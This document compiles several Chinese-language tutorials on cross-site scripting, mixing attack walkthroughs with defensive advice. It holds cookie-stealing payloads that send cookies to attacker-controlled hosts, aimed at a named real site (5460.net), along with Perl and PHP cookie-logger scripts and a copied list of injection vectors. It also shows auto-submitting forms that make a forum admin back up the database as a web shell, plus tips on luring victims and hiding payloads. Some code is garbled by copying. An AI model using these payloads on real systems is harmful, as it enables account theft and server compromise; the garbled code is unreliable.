跨站脚本攻击
问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章
,
抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误
之处请
多多指点。
OK,go............
什么是跨站脚本(CSS/XSS)?
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该
页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,
有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,
如果
你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。
XSS和脚本注射的区别?
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
HTML
javascript (本文讨论)
VBScript
ActiveX
Flash
是什么原因导致一个站点存在XSS的安全漏洞?
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,
出错信息会被打印到一个html文件,并将该错误页面发送给访问者。
例如: 404 - yourfile.html Not Found!
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_
me.html
,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览
器。
考虑一下它是如何把我们的输入写到html文件里的?
OK,现在是我们检查XSS漏洞的时候了!
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面
里。当然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc
ript>
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理
,
就直接写入404 error页面中,结果创建了一个页面,如下:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
如何利用XSS来完成hacking?
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入
一个
html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入
到
该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
事例:
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的
目标是b00b这个人。
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面,我们得到如下信息:
Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<
/script>
<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
<script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本
。
下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美
女
如何呀?”
那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的脚本
</script>
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,
那些笨蛋并不会意识到实际发生的事情。
把javascript脚本插入WEB页面的不同方法:
<snip>
拷贝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical javascript-injection hacks
you may derive some glee from playing with.
<a href="javascript#<DIV class=articlecode de>">
<div οnmοuseοver="<DIV class=articlecode de>">
<img src="javascript:<DIV class=articlecode de>">
<img dynsrc="javascript:<DIV class=articlecode de>"> [IE]
<input type="image" dynsrc="javascript:<DIV class=articlecode de>"> [IE]
<bgsound src="javascript:<DIV class=articlecode de>"> [IE]
&<script><DIV class=articlecode de></script>
&{<DIV class=articlecode de>}; [N4]
<img src=&{<DIV class=articlecode de>};> [N4]
<link rel="stylesheet" href="javascript:<DIV class=articlecode de>">
<iframe src="vbscript:<DIV class=articlecode de>"> [IE]
<img src="mocha:<DIV class=articlecode de>"> [N4]
<img src="livescript:<DIV class=articlecode de>"> [N4]
<a href="about:<script><DIV class=articlecode de></script>">
<meta http-equiv="refresh" content="0;url=javascript:<DIV class=articlecode de>">
<body οnlοad="<DIV class=articlecode de>">
<div style="background-image: url(javascript:<DIV class=articlecode de>);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression(<DIV class=articlecode de>);"> [IE]
<style type="text/javascript"><DIV class=articlecode de></style> [N4]
<object classid="clsid:..." codebase="javascript:<DIV class=articlecode de>"> [IE]
<style><!--</style><script><DIV class=articlecode de>//--></script>
<![CDATA[<!--]]><script><DIV class=articlecode de>//--></script>
<!-- -- --><script><DIV class=articlecode de></script><!-- -- -->
<script><DIV class=articlecode de></script>
<img src="blah"οnmοuseοver="<DIV class=articlecode de>">
<img src="blah>" οnmοuseοver="<DIV class=articlecode de>">
<xml src="javascript:<DIV class=articlecode de>">
<xml id="X"><a><b><script><DIV class=articlecode de></script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[/xC0][/xBC]script><DIV class=articlecode de>[/xC0][/xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
一个真正的获取cookie并且做记录的例子:
注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,
当我测试下面的信息时,使用
javascript创建访问者的cookies,javascript脚本放在index.html文件中。
OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http://website.tld/program.cgi?input=<evil javascript>
我们创建这样一个连接:
http://website.tld/program.cgi?input=<script>document.location='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+documents.cookie</script>
然后让保存该站点cookie的用户访问这个连接:
这是我们的CGI脚本,它的作用就是对用户cookie做记录:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html/n/n something went wrong/n";
print EVIL_COOKIE_LOG "$borrowed_info/n";
print "Content-type: text/html/n/n";
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo
g文件。
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。
可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。
声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负!
【漏洞成因】
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。
【漏洞形式】
这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中,然后再输出结果
注意:后者可能会让你的网站面目全非!:(
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。
【漏洞危害】
大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1. 获取其他用户Cookie中的敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4. 拒绝服务攻击
5. 突破外网内网不同安全设置
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
7. 其它
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
【利用方式】
下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。
为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。
另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
好的,一切就绪,我们开始做实验!:)
实验一:获取其他用户Cookie中的敏感信息
我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行:
1. 进入首页http://www.5460.net/
2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。
3. 分析抓包数据,得到实际请求:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.5460.net/txl/login/login.pl?username=<script>alert(documents.cookie)</script>&passwd=&ok.x=28&ok.y=6
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.5460.net");
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
7. 后面要做什么就由你决定吧!
实验二:屏蔽页面特定信息
我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你的名字,对吧?
既然有了上面的种种条件,我们可以不妨作出下面的结论:
某个用户可以“屏蔽”其两次留言之间的所有留言!
当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?
实验三:伪造页面信息
如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。
实验四:拒绝服务攻击
现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的javascript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。
实验五:突破外网内网不同安全设置
这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于Internet区域,可能你不允许javascript执行,而在Intranet区域,你就允许javascript执行。一般来说,前者的安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意javascript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet区域。
实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。
更多的例子请参考下列链接:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html
跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。
实验七:其它
其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。
【隐藏技巧】
出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1. URL编码
比较一下:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!
2. 隐藏在其它对象之下
与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?
3. 嵌入页面中
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。
4. 合理利用事件
合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。
【注意事项】
一般情况下直接进行类似<script>alert(documents.cookie)</script>之类的攻击没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。
【解决方法】
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员:
1. 过滤或转换用户提交数据中的HTML代码
2. 限制用户提交数据的长度
用户:
1. 不要轻易访问别人给你的链接
2. 禁止浏览器运行javascript和ActiveX代码
附:常见浏览器修改设置的位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用javascript
【常见问题】
Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。
Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。
【附录】
下面是一些跨站脚本执行漏洞的例子:
http://v7.51.net/exploites/exgb.txt
http://v7.51.net/exploites/ichat2.txt
http://v7.51.net/exploites/bbs2www.txt
http://v7.51.net/exploites/5460II.txt
http://v7.51.net/exploites/sf.txt
http://v7.51.net/exploites/phpmyadmin.txt
一、什么是XSS攻击
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell.
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
二、来自内部的跨站攻击
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
<body οnlοad="javascript:document.forms[0].submit()"><form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>
上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp ... C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句
等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
跨站Script攻击(一)
每当我们想到黑客的时候,黑客往往是这样一幅画像:一个孤独的人,悄悄进入别人的服务器中,进行破坏或者窃取别人的秘密资料。也许他会更改我们的主页,甚者会窃取客户的信用卡号和密码。另外,黑客还会攻击访问我们网站的客户。与此同时,我们的服务器也成了他的帮凶。微软称这种攻击为“跨站script”攻击。而这种攻击大多数都发生在网站动态产生网页的时侯,但黑客的目标并不是你的网站,而是浏览网站的客户。
跨站script攻击的说明
在一本名为<<ADVISORY CA--2000-02>>的杂志中,CERT警告大家:如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的HTML代码,当这些HTML代码输入是用于SCRIPT程序,他们就能利用它来进行破坏,如插入一些令人厌恶的图片或声音等,同时,也能干扰了客户正确浏览网页。
我们知道,有些朋友曾经被诱导到一些可疑的免费网站,他们得到的仅仅是10到20个小的窗口,这些窗口常常伴随着由JAVA 或 JAVASCRIPT生成的失效安钮,这被称为鼠标陷阱。关闭这些窗口是徒劳的,每当我们关闭一个窗口,又会有10几个窗口弹出。这种情况常常发生在管理员没在的时侯发生。鼠标事件是黑客利用跨站SCRIPT方法攻客户的典型范例。
恶意的标签和SCRIPT不单纯的恶作剧,他们甚至可以窃取资料和捣毁系统。一个聪明的甚至是不够聪明的黑客都能够使用SCRIPT干扰或者改变服务器数据的输入。利用SCRIPT代码也能攻击客户系统,让你的硬盘尽损。而且你要知道,在你一边使用服务器的时候,黑客的SCRIPT也正在你服务器里安全的地方运行着的呀!如果客户对你的服务器非常信认,同样他们也会信任那些恶意的SCRIPT代码。甚至这个代码是以〈SCRIPT〉或者〈OBJECT〉的形式来自黑客的服务器。
即使使用了防火墙(SSL)也不能防止跨站SCRIPT的攻击。那是因为如果生成恶意SCRIPT代码的设备也使用了SSL,我们服务器的SSL是不能辨别出这些代码来的。我们难道就这样把客户曾经那么信任的网站拱手让给黑客吗?而且有这种破坏的存在,会让你网站名誉尽损的。
一、跨站SCRIPT攻击示例:
根据CERT的资料,动态输入大致有这几种形式:URL参数,表格元素,COOKISE以及数据请求。让我们来分析一下,这个只有两个页面的网站,网站名为:MYNICESITE.COM。第一页使用一张表格或COOKIE来获取用户名:
<%@ Language=VBScript %>
<% If Request.Cookies("userName") <> "" Then
Dim strRedirectUrl
strRedirectUrl = "page2.asp?userName="
strRedirectUrl = strRedirectUrl & Response.Cookies("userName")
Response.Redirect(strRedirectUrl)
Else %>
<HTML>
<HEAD>
<TITLE>MyNiceSite.com Home Page</TITLE>
</HEAD>
<BODY>
<H2>MyNiceSite.com</H2>
<FORM method="post" action="page2.asp">
Enter your MyNiceSite.com username:
<INPUT type="text" name="userName">
<INPUT type="submit" name="submit" value="submit">
</FORM>
</BODY>
</HTML>
<% End If %>
第二页返回用户名以示欢迎://form www.w3sky.com
<%@ Language=VBScript %>
<% Dim strUserName
If Request.QueryString("userName")<> "" Then
strUserName = Request.QueryString("userName")
Else
Response.Cookies("userName") = Request.Form("userName")
strUserName = Request.Form("userName")
End If %>
<HTML>
<HEAD></HEAD>
<BODY>
<H3 align="center">Hello: <%= strUserName %> </H3>
</BODY>
</HTML>
当你正常常输入文字时,一切都很正常。如果你输入Script代码:<SCRIPT>alert('Hello.';</script>,JavaScript警告标签就会弹出来:
在你下一次访问时,这个警示标签同样会出现;这是因为这个Script代码在你第一次访问的时后就已经留在cookie中了。这是一个简单的跨站攻击的范例。
如果你认为这是一个特殊情况,你也不妨到网上别的地方看看,亲自试一下。我曾经对一些大型的政府网站、教育网站以及商业网站进行过测试,他们当中的确有部分出现了以上所说的情况,我甚至发现了我经常使用信用卡的网站也居然对输入不进行任何过滤,想想真是可怕。
from allasp
<script src="/inc/gad/ad2.js" type="text/javascript"></script>跨站Script攻击(二)
二、 用E-Mail进行跨站Script攻击
跨站script攻击用在列表服务器,usenet服务器和邮件服务器来得特别容易。下面还是以MyNiceSite.com网站为例进行说
明。由于你经常浏览这个网站,它的内容也的确让你爱不爱不释手,因此在不知不觉中你就把浏览器的改成了总是信任这个动态网
站内容的设置。
MyNiceSite.com网站总是通过出售征订它们Email信件的邮箱地址来获得收入,这的确是一种不太好的办法。于是我买了它的
一份邮箱地址。并发了大量的邮件给你们。在信中我告诉你们尽快访问这个网 站,并检查你们帐户使用的最新情况。为了让你们感
到方便,我在这信中也作了链接。我在这链接URL中的username参数中舔加了script代码。有些客户在不知不觉中就点击了这个链
接,也就是说上了我的当(如图),同时我也从中得到了好处:
它是这样工作的,当你点击这个链接的时后,在链接里的script代码就会引导你所用浏览器去下载我的JavaScript程序并执行
它。我的Script检查到你使用的是IE浏览器后,就着手下载ActiceX控件 particularlyNasty.dll。因为之前你已经把这个网站
的内容认为总是安全的,这样,我的script代码和Active 控件就能在你机器上自由自在的运行了。
三、 Activex攻击说明//form www.w3sky.com
在讨论ActiveX时,CERT和微软都没提到跨站script方法所带来的的危险。W3C在<<安全常见问题解答>>中对ActiveX的安全
问题作了比较详尽的说明。Java applet对系统的控制受到严格限制。SUN开发它时就规定,只有那些对系统的安全不构成威胁的操
作才被允许运行。
在另一方面,ActiveX对系统的操作就没有严格地被限制。如果一但被下载,就可以象安装的可执行程序一样做他们想干的事
情。针对这一特点IE浏览器也作了某些限制,如对于那些不安全的站点,在它的默认设置中就会不允许你进行下载或者会给你警告
的提示。正在基于ActiveX进行开发的公司,如VeriSign公司,它们对ActiveX控件都给编了号。当你在下载控件的时后,IE浏览
器会给你警告并显示它的可信籁程度。由用户决定是否相信这个控件。这样一来系统的安全性就增加了。
但是,对于那些没有多少经验的用户来说,他们往往不自觉地对原来的设置进行了修改,让这些控件在没有任何提示的情况下
就下载了。另外,对一个新手来说,即使在有提示的情况下也会不加思索地下载那些没作任何标记的控件。在我们所举的例子中,
由于你对该站点的信任,改了浏览器的设置,这样,ActiveX控件在不经过任何提示的情况下就下载,并在你的机器上不知不觉地
开始运行。
四、16进制编码的ActiveX Script 攻击
要把用心不良的标签和script区分出来是一件非常困难的事。Script还可以16进制的形式把自己藏起来。让我们看看下面这个
E-mail范例好吗?它是以16进制的形式被发送出去的:
这几乎是一封完整的邮件,里面包含了以16进制伪造的URL参数:sender=mynicesite.com。当用户点击链接时,用户的浏览
器就会直接开始第一例所说的处理过程而弹出警告窗口。
跨站Script攻击(三)
第二部分:跨站Script攻击的防犯
一、如何避免服务器受到跨站Script的攻击
值得庆幸的是,防止跨站Script攻击的技术正趋于完善。目前可采取这几种方式来防止跨站Script的攻击:
1.对动态生成的页面的字符进行编码
2.对输入进行过滤和限制
3.使用HTML和URL编码
1.对动态生成的页面的字符进行编码
你们首先要采用的就是对动态生成页面的字符进行编码,你必须这样做,不然黑客很有可能更改你的字符设置而轻易地通过你
的防线。如果我们的网站是个英语网站,这样只要我们把字符编码设成拉丁字符ISO-8859-1就行了,具体情况如下:
<META http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
2.过滤和限制所有输入的数据//form www.w3sky.com
这是防止跨站Script的攻击的第二种方法,在进行登录的时侯,不要让那些特殊的字符也输入进去。因此我们可在ONSUBMIT方
法中加入JAVASCRIPT程序来完成这个功能。在本例中我们限制最多只能输入15个字符。这样可以阻止那些较长的script的输入。
在<<Knowledge Base Article QA252985>>这本书中微软提供了一个简短的Javascript程序来完成对输入数据的过滤。我们
也根据具体情况引进了这段代码用于我们的例子中,如:
function checkForm() {
document.forms[0].userName.value = _
RemoveBad(document.forms[0].userName.value);
return true;
}
// MICROSOFT'S CODE
function RemoveBad(strTemp) {
strTemp = strTemp.replace(//<//>//"//'//%//;//(//)//&//+//-/g,"");
return strTemp;
}
用这个办法,可以过滤在输入中含有的这些字符:
% < > [ ] { } ; & + - " '( )
3.使用HTML和URL编码
尽管使用上面所说的过滤和限制输入的办法是一种非常重要用防御手段,但它对我的这种采用邮件方式的攻击还是无能为力。
因为我把URL的参数直接放在邮件中。针对这种情况我们不得不采取一种更有力的安全措施。如果我们用的ASP,解决起来相对说来
要容易得多。只要对动态生成的网页总进行HTML和URL编码就行了。针对我们例子中的情况,在第一输入页中我们对redirect URL
作了如下改动:
strRedirectUrl = strRedirectUrl & _
server.URLEncode(Response.Cookies("userName"))
